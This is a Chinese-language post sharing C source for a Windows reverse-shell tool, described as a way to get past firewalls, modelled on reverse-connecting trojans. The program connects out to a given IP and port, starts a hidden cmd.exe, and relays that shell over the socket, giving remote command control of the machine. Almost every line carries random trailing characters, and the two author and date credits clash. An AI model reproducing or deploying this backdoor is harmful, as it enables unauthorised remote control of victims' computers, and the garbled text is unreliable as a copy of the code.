这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J<P/w%i2
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/* ============================== )dN,b(w9
Rebound port in Windows NT 8KdcLN@
By wind,2006/7 d7-F&!sQ
===============================*/ ;;"c+
#include 5A=xF j{
#include !E>3N:
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#pragma comment(lib,"wsock32.lib") v'Py[[R
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void OutputShell(); &B5Rzz-'
SOCKET sClient; $}h_EI6hS
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qpEC!~y
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void main(int argc,char **argv) +P6
{ m5Laq'~0_
WSADATA stWsaData; XuAc3~HAd
int nRet; u #QSa$P
SOCKADDR_IN stSaiClient,stSaiServer; [?r\b
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if(argc != 3) eEds-&_
{ WE8L?55_Au
printf("Useage:\n\rRebound DestIP DestPort\n"); Z(`K6`KM
return; &)'kX
} '`A67bdq)
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WSAStartup(MAKEWORD(2,2),&stWsaData); Fb4S/_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oIR%{`3"I
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stSaiClient.sin_family = AF_INET; 1XKIK(l
stSaiClient.sin_port = htons(0); Z.Y8 z#[xg
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $HnD|_*
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +wgUs*(W
{ Fe>#}-`
printf("Bind Socket Failed!\n"); O!cO/]<
return; l[j0(T
} AE@Rn(1.
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stSaiServer.sin_family = AF_INET; NZ? =pfK\s
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RoXOGVo
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); r3lr`s`
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2OOj8JS
{ eMMiSO!3
printf("Connect Error!"); VQJ5$4a&
return; "%iR-s_>
} Rn^N+3o'M
OutputShell(); MhB=+S[@
} ?=o]Wx0(9
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void OutputShell() f2K3*}P
{ $fpDABf
char szBuff[1024]; '`VO@a
SECURITY_ATTRIBUTES stSecurityAttributes; +?eAaC7s
OSVERSIONINFO stOsversionInfo; s5|)4Zac
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ov.rHVeI
STARTUPINFO stStartupInfo; L7'X7WYf&
char *szShell; 46JP1
PROCESS_INFORMATION stProcessInformation; )W7H{#
unsigned long lBytesRead; ;7{wa]
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !LSWg:Ev+
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *wl_8Sis}
stSecurityAttributes.lpSecurityDescriptor = 0; r,@|Snv)
stSecurityAttributes.bInheritHandle = TRUE; t#Yh!L6>
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :EAfD(D{)
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); BiAcjN:Z
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #3jZ7RqzQ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A)0m~+?{J
stStartupInfo.wShowWindow = SW_HIDE; 'n`$c{N<tM
stStartupInfo.hStdInput = hReadPipe; ,
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; w0OK.fj
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GetVersionEx(&stOsversionInfo); a'.=.eDQ
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switch(stOsversionInfo.dwPlatformId) 5%$kAJZC-
{ W|
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case 1: Hd}t=6
szShell = "command.com"; ^8t*WphZC
break; K_Gf\x
default: @y%qQe/g
szShell = "cmd.exe"; PltPIu)F
break; uB9+E%jOdQ
} G!Q)?N
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); x?$Y<=vT
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send(sClient,szMsg,77,0); P=i |{vv(
while(1) :~(^b;yhZ
{ ZACn_gd[5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K1yM'6Zw
if(lBytesRead) 6!V* :.(
{ jF0BWPL
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -Euy5Y
send(sClient,szBuff,lBytesRead,0); +4Ra N`I
} <AXYqH7%A
else v:ZD}Q_
{ +w/o
lBytesRead=recv(sClient,szBuff,1024,0); Zz ?y&T
if(lBytesRead<=0) break; XBBRB<l)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); TMs\#
} [r~lO@
} L3Iz]D3s
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return; CF4y$aC#
}